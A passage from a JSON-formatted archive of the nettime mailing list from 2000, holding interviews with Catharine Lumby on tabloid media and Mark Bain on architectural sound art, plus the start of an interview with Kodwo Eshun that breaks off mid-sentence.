                        "content": "\nnow that we've addressed taking Wired at face value, i'd be curious for\nthe bunch's thoughts on castells . . . \n\nany takers?\n\nPeter Lunenfeld wrote:\n\n> Dear Richard --\n>\n> There was no misunderstanding to clear up. In fact, your rephrasing, \"the\n> New World makes good things and thinks lazy thoughts,\" rankles even more\n> than the original.\n\n\n<...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00064",
                        "date": "Wed, 09 Aug 2000 13:05:37 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200008101317.JAA16354 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00064.html",
                        "content-type": "text/plai",
                        "author_name": "Jeffrey Fisher",
                        "subject": "Re: <nettime> Interview with Peter Lunenfeld"
                    },
                    {
                        "from": "Doug Henwood <dhenwood {AT} panix.com>",
                        "content": "\nrichard barbrook wrote:\n\n>Funnily enough, 'The Californian Ideology' was primarily inspired by our\n>annoyance at the way that the Old World thinks about the Net whatever the\n>New World thinks. Look at the uncritical reception given over here to\n>'Wired' in '95 - and to Manuel Castells today...\n\nSince Castells strikes me as a bit of a fraud, could you expand on this? \n\n\n-- \n\n\nDoug Henwood\nLeft Business Observer\nVillage Station - PO Box 953\nNew York NY 10014-0704 USA\n+1-212-741-9852 voice  +1-212-807-9152 fax\nemail: <mailto:dhenwood {AT} panix.com>\nweb: <http://www.panix.com/~dhenwood/LBO_home.html>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00067",
                        "date": "Wed, 9 Aug 2000 14:09:22 -0400",
                        "to": "richard barbrook <richard {AT} hrc.wmin.ac.uk>, nettime-l {AT} bbs.thing.net",
                        "message-id": "200008101316.JAA16347 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0008/msg00067.html",
                        "content-type": "text/plai",
                        "author_name": "Doug Henwood",
                        "subject": "Re: <nettime> Interview with Peter Lunenfeld"
                    }
                ],
                "message-id": "200007311306.JAA09628 {AT} bbs.thing.net",
                "date": "Mon, 31 Jul 2000 15:58:43 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "id": "00008",
                "content": "\n\"The Dichotomy of Pleasure and Power is Too Simple\"\nCritiques on Contemporary Media Moralism\nAn Interview with Catharine Lumby\nBy Geert Lovink\n\nThe Australian cultural commentator Catharine Lumby is one those rare\nacademic scholars, equipped with the ability to make theory accessible to\na broad audience without simplifying or losing any of the points she wants\nto make. Passionate of the Differences, weary of the Homogeneous. Besides\nher work as a journalist she published two books. \"Bad Girls\" from 1997\ndeals with media, sex and feminism in the nineties and critiques the moral\nstand of some feminists in their unholy alliance with conservative\ncensors. She explains why feminists need porn and calls for an active\nengagement of women in all issues related to both old and new media. Women\nshould no longer take the position of the outsiders. They are inside and\nshould deal with that new position, so Lumby. \"Gotcha, Life in a Tabloid\nWorld\", which appeared in 1999 was partly written in New York and digs\ninto cases such as the O. J. Simpson, the Clinton-Lewinsky scandal, the\ndeath of princess Diana again from an engaged, amoral position. Taking\npopular culture as it is - both a billion dollar industry and a fractured\nmirror of society - might be common sense these days. Still, we somehow\ncan't get rid of the same old complaints about vulgar sensationalism which\nstand for our Sin and decline of civilization in general every time we\nfind ourselves in the middle of a millennial scandal. I visited Catharine\nLumby in her office at Sydney University where she was recently appointed\nas Director of Media and Communication where she was in the middle of her\nnext project, the protective, paternalistic media images of teenage girls.\n\nGL: I suppose it was not your aim with \"Gotcha\" to convince the general\naudience to consume tabloid media. They will do that anyway. Is it still\nnecessary to debate with the last remaining intellectuals about the\nlegitimacy of popular media?\n\nCL: The polemics of \"Gotcha\" is addressed to a group of media commentators\nwho represent the interests and values of middle class educated liberals\nand their hidden elitist ideas in relation to class. My concerns is the\nway in which the public broadcasting service (ABC) defines who \"the\npublic\" is. Do they speak to the long-term unemployed, to women? Do they\nunderstand the diversity of publics that make our society? Liberals see\nall commercial media as irrelevant. They judges these media by standards\nwhich they see as universal or neutral. Sometimes commercial media is able\nto speak to people in a language that is accessible to them, addressing\nissues that are important in everyday life, that are ignored by elite or\nquality media. I am very suspicious when anybody claims to speak on behalf\nof \"the public\". I began this book because I wanted to investigate my own\nprejudices, coming from a middle class educated background. We need to\nbear in mind that many interests and values are colliding, which may be\nincommensurate. There is no universal position from which to judge the\nquality of information. I am a pluralist, very interested in diversity,\nsupportive of public broadcasting. Often the liberal model is very\nauthoritarian, paternalistic.\n\nGL: What is the reason why this liberal class in Australia still holds\nsuch important power positions within the media?\n\nCL: Australia has a relatively small population (19 million inhabitants,\nGL). The range of media commentators is rather small too. The baby-boom\ngeneration tended to have a smugness about their politics. They are\nsatisfied with themselves, convinced that they are still radicals. In \"Bad\nGirls\" I looked at feminism, as a feminist, admitting that feminism has\nbecome part of mainstream. It has become an institution. Once something\nbecomes mainstream you cannot assume it remains always radical. For me\nfeminism has to be a constant questioning. Some of the more prominent\nsenior feminists in Australia don't recognize that they have power\nthemselves. Admitting this would undermine their position. Some members of\nthis generation are so convinced that they are always radical that new\nideas, from new generations are easily dismissed. With others from my age,\nI am in my late thirties, I find that is very difficult to even have a\ndebate about these things. You must be aligned with the right if you are\ndare to disagree with the old left. Speaking positions in the media and\nthe knowledge and cultural industries became quickly occupied and the\nbaby-boom generation hung up to these jobs. Sometimes it is that simple.\nFor younger generations there is no such a thing as a secure job, with a\nsecure speaking position. They are forced to work in-between academia and\nthe media, or in-between the mainstream and alternative media. There is\nmuch more flexibility and a tendency to see power as contingent and\nrelational, not as something you unconsciously inhabit.\n\nGL: Let's move to the tabloid world. In \"Gotcha\" you looking into four\ncases, Diana, Clinton, O.J. Simpson and Pauline Hanson, the Australian\npopulist right wing politician. Have you noticed any developments on that\nfront over the last decade?\n\nCL: When I am use this word \"tabloidization\" I only looked into broad\nshifts within mainstream news and current affairs media, both in content,\nthe formal shifts such a the sheer competition to attract audiences and\nthe collapse of entertainment and information. These shifts have been\nintensifying since the eighties due to global capital flows and\ntechnological changes. Apart from ethical considerations there are also\npositive sides to these scandals. The O.J. Simpson case is sometimes\ndismissed as just a voyeuristic story about a terrible killing. Why do we\nhave a year of coverage of this on CNN? Hang on. This is also a very\nimportant case about race relations in America, domestic violence, gender\npolitics. It mirrors society on a deeply symbolic level. The verdict\nitself split the nation. 96 million Americans watched the highlights of\nthat trail. People could see the trail, make up their own minds and act as\na jury. 86% of black Americans thought the verdict was fair. Almost an\nequivalent amount of whites agreed, which tells you that white and black\nAmerica are two different countries. All in all an important, iconic event\nnot to be dismissed as non-political voyeurism.\n\nGL: Sensational reporting has been around ever since media were invented.\nAfter the Frankfurt School dismissal of popular culture which dominated\nthe seventies, and the Cultural Studies response of active, engaging\nconsumer of the eighties, what position has been developed over the past\nyears?\n\nCL: That dichotomy between power and pleasure, or manipulation and\nresistance, is too simple. The media sphere is very diffuse and defecated.\nPeople don't belong to one demographic and inhabit different audiences at\ndifferent times. The consumer in the way market research would like to\ncarve people up doesn't make any sense. People are constantly negotiating\ntheir personal, social and political identities in and through the media.\nThey are producing, interacting at the same time as they are consuming. It\ndoes not make sense anymore to distinguish between the producer and the\nconsumer. Media literacy has grown. A broad understanding of how images\nand text are being put together that you did not have with television in\nthe sixties or seventies. You can see that in advertisement which targets\nat youth audiences. Advertisers are very aware how clued in young people\nare. Media buy people's attention. At the same time, if they were able to\ndo that, Hollywood would never make a bad movie. They spend millions of\ndollars on market research and continue to have turkeys. The audience\nremains allusive and does not exist in a mass manipulative form.\n\nGL: Despite numerous attempt to overcome and deconstruct the division\nbetween high and low culture, that distinction still is in place.\n\nCL: I think it absolutely is. Not because it is natural. Many people are\ninvested in this distinction. There is a certain level of fear about the\nrapid changes in popular culture. The other night I did a radio program on\nABC, a quality program, and they asked me about television. They had\npeople calling in, and at least three of them began by saying \"I don't own\na television set, but. \" and then they would talk about television. How\nwould they know popular culture being bad for everybody? There is a claim\nhere to have some highbrow taste but in reality, how people negotiate\nculture in the everyday, these distinctions are increasingly meaningless.\nIt is also class-based. Of course you can see some really bad opera and\nfirst class Hollywood films. Not all European films with subtitles are\ngood. It all becomes laughable.\n\nGL: Internet has come out of its stage of infancy and hype and is rapidly\nbecoming a mass medium. Do you see possibilities for the Net to develop\nitself in an interesting way or will it go through the usual phases of\ncorporatization, like all other media?\n\nCL: The Internet is offering more possibilities for alternative spaces.\nBecause of the rise in media literacy the issue of government control is\nbeing debated on such a higher level. Look at the Microsoft case and the\nlevel of suspicion amongst users it is causing. As governments and large\ncommercial entities take over or dominate spaces on the Internet, there is\nstill always a possibility for new spaces opening up. It is rhizomatic, in\nthat sense. There are structural reasons to be more optimistic. A little\nmovement in one part of the Internet can force public recognition on a\nmuch broader level. You don't have to be able to produce a glossy magazine\nor a documentary to make some public space.\n\nGL: Despite all this we can see a \"tabloidization\" of the World Wide Web\nhappening, as we speak. It is an ideal medium for rumors of any sort.\nWould a code of conduct make any sense in this context or should we just\nexcept the fact that all information on the Net is potentially unreliable?\n\nCL: We need to rethink ethics. What might an ethics for this diverse media\nsphere look like? It would have to radically critique the liberal concept\nof ethics which is about imposing an code. This is right and this is\nwrong. My politics are probably radically democratic. Any attempt to\nregulate this sphere I would like to come from the grassroots up. We need\nto give citizens and media consumers access to inexpensive forums where\nthey can have their concerns about the media expressed, like invasion of\nprivacy and unfair reporting. A system of simply fining media\norganizations does not work very well. What is required is a forum where\nconsumers can negotiate with producers. The sanction would be publicity.\nMainstream media often pretends it is outside society, that it is not a\npowerful institution. It does influence events and people's lives and so\nnot merely reporting. We are dealing here with powerful institutions which\nneed to be under permanent scrutiny. The European inquisitorial model,\nwhere you look at things case by case is better than the Anglo-Saxon model\nwhich is about an abstract code that you apply. Right across the Western\nworld consumer groups have these concerns. We saw the anger at the media,\nafter the death of Princess Diana. The journalist is the evil person now\nand has replaced the Russian in popular culture. It needs to be a flexible\nsystem of conciliation, bringing parties together, and this includes the\nWeb.\n\nGL: Where do you stand in the debate about taboos? If there is a taboo, it\nneeds to broken, reported about, displayed, at any cost. Some critics have\nstarted to question this blind response and long for a moral climate in\nwhich society can protect, and care, its own taboos, against the inherent\ntendency to break them.\n\nCL: There is no issue that should not be examined. There is always the\nquestion of context. There is no absolute line. It is always a\nnegotiation, the balance between public and private interest. Unethical\nreporting can escape any code. I don't have some fantasy that we could\nprevent the abuse, also because technologies to spy on people have\nexploded in such a way . You could be anarchistic and say that anyone can\npublish anything. That's fine for the Net. My concerns are more targeted\ntowards large media corporations. For instance when you have unbalanced\nreporting in a situation of war or geo-political conflict, it would be\ngood to have an international body, a forum where people could be heard.\nIf you look at CNN, on many occasions people have raised the question:\nWhat is the other side of this?\n\nGL: The trend of media reporting on media is on the increase. But that's\nnot exactly what you mean.\n\nThe programs we have here in Australia, like \"Mediawatch\", are grounded in\ntraditional, liberal journalism. They look for spelling errors. Journalism\nhas been largely unreflective about its own practice. Objective reporting\nis given as a given value, rather than a concept that was invented in the\ntwentieth century. In some sense investigative journalism can be seen as\nthe highest form, like Watergate. There is an interesting similarity to\ntabloid reporting on the private lives of celibrities. Both forms can\nserve the community well. When I used to work inside parliament as a\njournalist, I was struck by how stories were put together there, very much\nlike gossip. There would be a rumor, you would call someone to confirm it,\nthey would deny it, but talk to you off the record, thereby adding gossip\nto gossip. Mostly it is about who likes who. Still, this information is\nregarded as very important. If you would use the same techniques to bring\nnews about Pamela Anderson's marriage breakdown, it would be seen as the\nworst form of reporting. The distinctions between high and lowbrow are\nartificial. They have more in common than recognized. There is a gendered\nsplit between trivial and important and what matters to people.\n\nGL: Would you be in favor of unrevealing the edutainment industry,\nreversing the infotainment paradigm, into serious information on the one,\nand true entertainment on the other hand? Or should we further intensify,\nradicalize concepts like reality TV?\n\nCL: The latter. You can't pull anything back in this rapidly changing\nenvironment. It is much more interesting to radicalize media concepts. We\nare still in a transitional period. Television and even radio have been\ninfluenced by the model of printing press. Maybe I am too much of an\noptimist. I think we heading somewhere much more interesting with\nmulti-channeling and the collusion of the professional and the amateur,\nthe public and the private, information and entertainment.\n\nGL: Media and communication studies have become the largest departments\ninside universities. How do you think all these students should be\nequipped, knowledge wise?\n\nCL: Critical thinking. I am not teaching them what to think. Instead they\nshould be encouraged to want to think., helping them to discover their own\ncuriosity. To recognize that knowledge within universities is just one\ndiscourse. There are many points of access to information and ideas. Learn\nthem how to navigate certain discourses and how to speak to different\naudiences. That's a question of genre and rhetoric. This should be based\non a broad humanities education. And perhaps a familiarity with sciences\ntoo. You want to equip people for lifelong learning. The information\nrevolution and the intellectual flexibility which is demanded of people is\nincreasing exponentially. Rather than training people vocationally to deal\nwith one piece of equipment or another, you want to give them access to\nbroad skills so that they can think visually, able to manipulate words as\nwell as image and sound. Training only for print or television is old\nmedia thinking.\n\nGL: How would the new media critic look like? The concept of criticism\nitself has come under pressure. It has been declared dead by post\nmodernism. It has been associated with cultural pessimism.\n\nCL: If critical thinking is posed from a position of authority, from which\nto judge, that's very problematic. There is no outside. You hope people\nwill be skeptical, which in the best sense means to question everything,\nincluding your speaking position. Being suspicious about everything you\nsee and read. An ungoing skepticism.\n\nGL: Your new research is dealing with youth culture and youth policies.\n\nCL: I am particularly interested in teenage girls. They are a category of\npeople about whom a lot is being said. There is a lot of protective\nanxiety around them. There is so much said on their behalf but you never\nhear from them. We hear that they are anorexic, caused by super models and\nmagazines, that they are sexually vulnerable because people want to prey.\nThey are closely monitored in the ways they dress. Despite all this\nfascination there is this denial that this group has any agency. What is\nthey relationship to this protective discourse and where would we hear the\nvoices of teenage girls? If you simply go out as a media researcher, put\nthem in focus groups and ask them questions, you are replicating the thing\nyou try to get away from. They will tell you want adult researchers want\nto hear. I don't really buy the idea that any group is voiceless, or\npowerless.\n\nCatharine Lumby, Bad Girls, Allen & Unwin, St. Leonards, 1997\nCatharine Lumby. Gotcha, Allen & Unwin, St. Leonards, 1999\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 30 Aug 2000 09:10:14 +1000",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200009011414.KAA03285 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00008.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Catharine Lumby"
            },
            {
                "content-type": "text/plai",
                "from": "hc <mollybh {AT} netspace.net.au>",
                "id": "00069",
                "content": "\nInterview with Mark Bain-- by Molly Hankwitz and David Cox\nJanuary 2000\n\nJan 3, 2000\nArtists' Television Access, San Francisco CA\n\nMH: Can you talk about the origins of your work and key ideological\ndeterminants that lead you to proceed with a body of work looking at\nresonance and sonic waves? I mentioned a project I thought of using the\nBrookyn Bridge as a huge sound instrument. It makes a great humming noise\nif you've ever stood down below it. It  really vibrates and hums\nwonderfully.There seems to be a bit of an interest at the moment in wave\ntheory and notions of transmission of energy and such...is there a reason\nfor that sort of resurrgence of interest, do you think?\n\nBain: It has been a  connecting of two different elements in my past, one\nbeing, my coming from a family of architects and engineers. I've been\naround architecture all my life with my grandfather and father and even\ngreat grandfather. At the same time, in my youth, working a lot in sound,\neven playing in bands and things like that. Where those two elements having\ncollided has influenced the work I am doing right now...As far as sound and\nstructures, I have been looking for a certain dynamic that is connected to\nsolid structures and architecture. One of my key interests is looking for a\nliveliness in stable elements, and, in looking at that, seeing that stable\nitems are essentially not stable, are instable, in fact, so I'm trying to\nmine these areas --these hidden messages--you might say---of transferring\nthrough architecture.\n\nI've developed a multichannel system, about 46 geosensors, that I can plant\nin different places that are  highly sensitive vibration transducers that\npick up energy which travels through solid materials, and because solid\nmaterials have molecules, the energy travels efficiently so you can really\nlisten to areas from great distances. So when you talk about mic-ing the\nBrooklyn Bridge, of course,  that is possible. I've even thought about\ndoing a whole series of monuments, like doing the Eiffel Tower, doing, you\nknow, the Arc de Triomphe or some other places. Lately I've been doing live\nmixes, basically running a multichannel array of sensors into a mixing\nconsole and doing a live mix to sort of put it together on  two channel DAT\nand then I've also started to work with a DV camcorder and using the\naudiotracks on that to record audio while recording visually the object\nfrom which I am recording the sound. For example, on something like the\nEiffel Tower or Brooklyn Bridge, it would probably be interesting to use\nsensors that have radio beacons or radio transmitters so that I could get\nfar away from the subject, videotape it and mix it at the same time, and\nstill listen to the object...\n\nDC: Your work seems to examine carefully this idea of there being a secret,\na hidden meaning a kind of sub-meaning to buildings and architectures and\nthe intervention of time seems to be an influence with your high speed work\nas well, films like INSTABILITY, where there is this emphasis on events\nover time and the hidden becoming revealed through scientific means by\nrevealing patterns that would go unnoticed otherwise both sonically, with\nthe buildings, but also visually, with the films and that seems to overlap\na little bit with the culture jammer ethos which seeks to reveal hidden\nmeanings...\n\nBain: People aren't used to listening to their buildings. They might listen\nto the inside, or sounds outside spaces, but not to the actual architecture\nitself, so it is always interesting to get that sound and  do something\nwith it and lately I've been doing these projects where the sound is\nrecorded and then installed into other architectures so it's  the\ntransference of one architecture's acoustic energy into another's. What is\ninteresting about those projects is that for the most part people have a\nreally hard time dealing with those sounds because they are quite heavy.\nAnd that is the strangeness of it. These sounds are very very heavy,\nlow-frequency, and maybe not comfortable. You can have a comfortable space\nor, for example, the field I recorded in Poland....it was a beautiful,\nbeautiful field with this nice vision of a landscape except the sound\nunderneath was like a heavy trembling, it was almost like a sound of fear,\nsound of energy, sound of something, kind of crazy.\n\nMH: This phrase of \"architerrorism,\" with which you have referred to your\nwork, is this still a pertinent idea to you, the idea of terrorizing\nbuildings, as in the 'projectiles' project?\n\nMB: For me, the idea of \"architerrorism\" is interesting in relation to\ngeneral architecture because, to a certain degree, developers and\narchitects are terrorists in themselves...in the sense that most common\npeople who live in the street or who live in these buildings don't have\nownership on the properties, and so the decision to make buildings or to\ndevelop areas of cities or towns is really out of their hands. They might\nhave some sort of voting connection to the city or something, but otherwise\nits pretty much just \"money talks\" and for me I have a problem with the\nfact that that is considered legal and  right, yet, some of my  projects\nmight be considered \"terrorist\" so maybe we should sort of flip those\ndefinitions.\n\nMH: Hypocritical in that you are doing it for art and who is the real\nterrorist?\n\nMB: A perfect example  of this that is happening right now is Paul Allen\nwho used to be with Microsoft, bought out the Seattle Seahawks, and then he\nused it in a game with the city.  He threatened to pull the Seahawks out of\nSeattle unless Seattle built him a new stadium. Now Seattle already has a\nstadium, for football, built in 1976. It's a beautiful structure, actually\na structure that my grandfather worked on or built in his firm. So in\nFebruary, next month, they are going to implode this huge concrete stadium\nso that they can build a new stadium and to me that is completely absurd.\n\nDC: How does  that tie over with some of the events happening recently with\nthe events for example of the WTO in Seattle, with this unwillingness to\ntake lying down the values of big money or big corporations?\n\nMB: I'm not sure how many people from Seattle were actually involved with\nthe WTO. I think a lot of those people were from the outside, from\nelsewhere, which I think is good--and Seattle is just an area. But with the\nexample of the King Dome, its...uh well... we've been highjacked.  Even at\nthe time when they were voting it in. Essentially Paul Allen funded a whole\nballot that was off-season voting, in other words voting that didnt take\nplace at the normal time and rallied all the Seahawk fans to go out and\nvote for this amendment to keep the Seahawks in Seattle thus to demolish\nthe old stadium.\n\nMH: So the politics of architecture and urban planning are very closely\nlinked to arguments related to public and private, and where those\ninterstitial lines overlap. Your work is very much about that in a\nsense,the public and private, those kind of marginal borders areas.\n\nMB: Yes, i think so.\n\nDC: So what is going on with your work now, especially the issue of\n the retrieval of artifacts. I remember when we visited you in Boston last\nyear and you showing us your collection of sort of retrieved, found seismic\nparaphernalia from MIT.\n\n\nBain: Scientific debris.\n\nDC: Is that hunter-gatherer impulse still at work? And how?\n\nMB: That's a certain archeology of technology that has to be considered.\nThere is a strange wastage out there of technology where there is a certain\ntime-frame where things are new and they have to be new and all the old\ngear gets thrown out even it works perfectly well and that's\nvery common. I see that wastage and there should be something done with that.\n\nDC: And do the Dutch sympathize with this?\n\nBain: Yes, I think they do but the prblem with holland is its just too darn\nclean! There aren't as many scraps to be had. It's a lot better coming over\nhere to the States. In fact I've done projects in Holland and have had to\ncome to the States to actually get my materials and ship them back.\n\nDC: Is that because America is more wasteful or because its not as good at\nbeing clean?  I mean what's going on culturally there, as you see it.\n\nBain: Its larger, more industrial. There is more money here, more technology.\n\nMH: So who is influencing your work now? Who is stimulating your work?\nJulia Scher?\n\nMB:  She's a freind of mine and she certainly does some interesting stuff\nwith her surveillance installations. She's more of a personal influence.\nOther people more: Matt Mullican, Gordon Matta-Clark, of course, the\nDadaists. Right now its interesting because there is a certain trend I'm\nnoticing of artists working in architecture as a sort of vehicle working\nwithin or against or some how involved with art and architecture and its\ninfluence.\n\nDC: What about the Situationist International and Constant and the idea of\nthe destruction of the derive and playfulness?Are these ideas that you are\nfamiliar with and which resonate in your work?\n\nMB: Well, certainly play and the idea of taking back a certain amount of\nenergy out of your city and the derive also of going through spaces. There\nwas quite a nice show at the Witt deWitt in Rotterdam last year, of all of\nConstant's work. He was Dutch. That was quite amazing to look all that work\nin one place.\n\nMH: Amsterdam had quite a lot to do with the Cobra movement and the\ndevelopment of new ideas about the role of architecture in a more open-\nminded kind of society where commerce was less the defining paradigm.\n\nMB: Of course Holland is a strange place architecturally anyway; its all\nreclaimed land. There's this fear of water in a sense or there's always\nthis idea they are below sea level.\n\nDC: They are always keeping water at bay. The dykes and such.\n\nMB: Yes,  for example I was involved in a show at De Appel in Amsterdam\ncalled 'An Architecture' and that involved installing 4 mechanical\noscillators into a non-loadbearing wall that was acting basically as a\ndiaphragm. When I activated it it was pumping infrasonic air throughout the\nwhole building--this is a 3-4 story building--and that was extremely\neffective but the problem  with Amsterdam is that all the buildings are\nconnected  side by side and so the neighbors complained that objects in\ntheir  living room were moving around on their tables...\n\nMH: Spirits at work! (ha)\n\nBain: (ha) ...so then they  called the environmental police who shut down\nmy project. It was only open for one day at the opening and then was shut\ndown.\n\nDC: What's happening in the future. What major projects are you getting\nready for now?\n\nMB: Now, I'm working on an interesting project which will be at Expo 2000\nat Hannover. Its nice because it involves enough funding that I can do a\ncreative project. Its going to involve robotic lighting systems and\narchitectural spaces using just light and shadow influenced by Moholy-Nagy\nearly Light-Space Modulator. I'm collaborating  with my brother John, and\nwe will be working with off-the-shelf robotic lighting units that they use\nin theaters and clubs and things, and basically going into the guts of\nthese things and reworking them completely.\n\nDC: I saw a copy, I think, of the Light-Space Modulator at the Bauhaus\nMuseum in Berlin.\n\nMB: The original one is at Harvard, so if you ever get the chance to see\nit...(hee)\n\nMH:   Moholy-Nagy is obviously interested in what happens when you automate\nthe  abstract collision of light on surfaces and the kind of patterns that\nresult from the mechanization of the direction of natural forces which I\nsuppose is also, the tendency of Dada to invoke, shall we say, the latent\nforces at play either in pictures before they're cut up and stuck together\nor in the natural world before it is mediated by technology. So are we\nstill in the Dada period and is it going to continue well into the new\nmillenium?\n\nMB: It still feeds into a lot especially some of the New Conceptualist\nwork. The Light-Space Modulator has always been considered as the object\nand what's interesting about that is that Maholy-Nagy never really\nconsidered it as the object. He looked at it as what was happening with the\nlight, patterns on the wall, in the space itself. That's what I'm\ninterested in completely.\n\nMH: People tend to look at your resonating motors and that's not really the\nwork, it's the effect of the work, isn't it?\n\nMB: Yes, it's  terrible especially for my documentation. It's completely\ndifficult to do documentation except for my recordings because if you put\nit on slide all you see are the small motors or in the installations you\nmight see large cracks, a cracked wall which i've had in one project, or at\none point I had a floor that collapsed  as a result of these devices. On\nanother project I'm using one of these machines that is one of these\nthings, a Stairclimber for old people to go up their stairs. I've installed\nthis machine in my studio where I have a large window in the space that is\nmaybe about 6 ft. high meters up and I built a 6 meter beam at an incline\nthat's shoved through this window so what you do is ride this chair outside\nthe architecture...\n\nDC & MH:  Great. (hee, hee)\n\nBain: You pass the envelope of the wall. and then outside my studio is this\nnon-used space, like this garden, no one is back there, all this grass with\na nice view of the canal. I essentially got selfish and built the chair for\nmyself --it's a way to add a new space to your building--so that I could go\noutside and read or have coffee or something like that.\n\nMH:  Where the most sympathetic areas of the world for your work? Is it\nJapan, or?\n\nBain:  Well, when i was doing the project at De Apple there was a\ncuratorial program of about 5 people and one of the people was this\nJapanese woman who was terrified of my work. She was scared shitless about\nmy work. She thought I was going to bring the building down. She was one\nperson who didn't want me to be involved in that show. Japan yeah, maybe it\nwill be a strange facination for them but  certainly being in Europe, I\ncertainly get more support and openess for my ideas and because of that\nexposure, then I can bounce back to the States and there is increasing\ninterest in my work here, so that's good.\n\nDC & MH: We should be winding it up now. Thanks.\n(smiles)\n\nBain:  Thanks.\n\n(c) all rights reserved, Hankwitz/Cox, 2000\n********************************************************************************\n*************************************\n\nMolly Hankwitz is an architect and media curator from the United States.\nDavid Cox is a filmmaker and Lecturer in Digital Media at Griffith\nUniversity.\n\n\n\n\n\n\n\n________________________________\nmolly cox\nmollybh {AT} netspace.net.au\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 17 Jul 2000 15:50:35 +1100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200007170549.BAA12363 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0007/msg00069.html",
                "list": "nettime_l",
                "author_name": "mhc",
                "subject": "<nettime> Interview with Mark Bain"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00112",
                "content": "\nFirst published in the Online Magazine Telepolis:\nhttp://www.heise.de/tp/english/inhalt/co/6902/1.html\nGerman translation: http://www.heise.de/tp/deutsch/special/med/6901/1.html\n\n\"Everything was to be done. All the adventures are still there.\"\nA Speculative Dialogue with Kodwo Eshun\nBy Geert\n\nReading Kodwo Eshun's sonic fiction debut \"More brilliant than the sun\" is a\nhallucinating, addictive experience. For months, I carried this theory bible\non me, inhaling sentence after sentence. As a DJ and music critic, Eshun\nspeaks in record tracks. Sitting on the oblique, waving designer floor of\nRotterdam's V2 medialab, the following dialogue did not focus on Eshun's\nthesis of electronic black music as science fiction. Rather, we were\ninvestigating the genre of speculative thought. My experiences with this\nparticular text mode as a member of the Foundation for the Advancement of\nIllegal Knowledge (adilkno/bilwet) had shown how bewildering yet\ninvigorating it is to go beyond fixed definitions and interpretations.\nIgnore the academic mind police, journalistic codes and the postmodern\nZeitgeist. Concepts can freely and very precisely be pushed, streched,\nreversed, blurred, recombined, negated, mutated. What are the rules of the\nintensive textual explorations? Certainly not all bids are succesful. Theory\ncraze can turn into paranoia, disgust, intellectual exhaustion. It is\npossible to misread the signs of the time in search of the right mix of\ncultural artifacts and turn cynical as a misunderstood genius. One gets\neasily lost on the wide planes of immanence. Obviously, a brilliant concept\ncan as well turn you into a millionaire, pop star, or at least a celebrity\ninventor.\n\nFor a while speculative thought and the rise of new media had been a\nproductive couple. In September 1999, when this interview with recorded, I\nfelt that this historial situation, the \"short summer of the Internet\", had\nalready come to a close. Kodwo Eshun's golden days of techno, drum 'n' bass,\ndrugs and psychedelic theory, Deleuze and Guattari and cybernetics must have\nbeen revealed to him around that same periode, in the mid-to late nineties.\nKodwo was still under the spell of it. We both felt that the primal energy\nwas there. One just has to tap into it, no matter what the historial weather\nforecast said. To me, negative thinking and speculative thought were allies.\nThe \"alien\" pole and engagement of the critic in the everyday both move away\nfrom the ritualized phrases of today's advertisement and PR discourse.\nSpeculative thought heads way beyond today's visionary - and is much more\nrisky. Rather than than promoting linear growth scenarios, radical models\nfor unlikely futures are being assembled. The game with ideas is all yours.\nBut what are its rules?\n\nGL: Where in your biography would you trace the origins of speculative\nthought?\n\nKE: One of the key inputs is McLuhan. There is an interview he gave in 1968\ncalled \"Hot and Cool\". Here I realized that McLuhan had anticipated my\nproject. He was saying that the extraction of concepts from any field\ndemands that these concepts be used as probes in order to get into a\npossibility space. Not to contextualize and historisize, tracing the\narcheology of concepts, where they come from, which is what academics are\ntrained to do. Often it helps if the concept is quite empty. McLuhan was\nreally fascinated by this.\n\nIt works well with science fiction, specifically J.G. Ballard. Science\nfiction as theory on fast forward. In Ballard's theory fiction, especially\nhis \"Atrocity Exhibition\" in 1970, and \"Myths of the Near Future\", his\ntrilogy \"Crash\", \"Concrete Islands\" and \"High Rise\" and in lots of his\nessays you have a particular obsessive figure who is trying to work out and\nstage a particular project: WW III, or the assassination of JFK and Malcolm\nX all over again. In order to do that they are forced to go out and\nconstruct a theory kit. Take for example a painting of Max Ernst, which will\nthen have an aggressively speculative meaning and function, which will then\nlead you into a new space time. On the other side you have the scientist,\nwho using speculative analysis to understand the anti-hero's speculative\nprojects. Here we have two levels of speculation, embedded inside fiction.\nThe other thing is that Ballard is doing a science fiction of the next\nminutes. He drops away the Star Wars space opera, with its galactic and\nrobotic elements. What you are left with is a science fiction of nine\nminutes from now, the technology of plastics, the pill. He is drawing a\nzodiac of the present.\n\nWe have the following: speculative theory embedded in science fiction,\nscience fiction re-interpreted as an analysis of the ongoing present. Add\nthat to McLuhan's idea of extracting 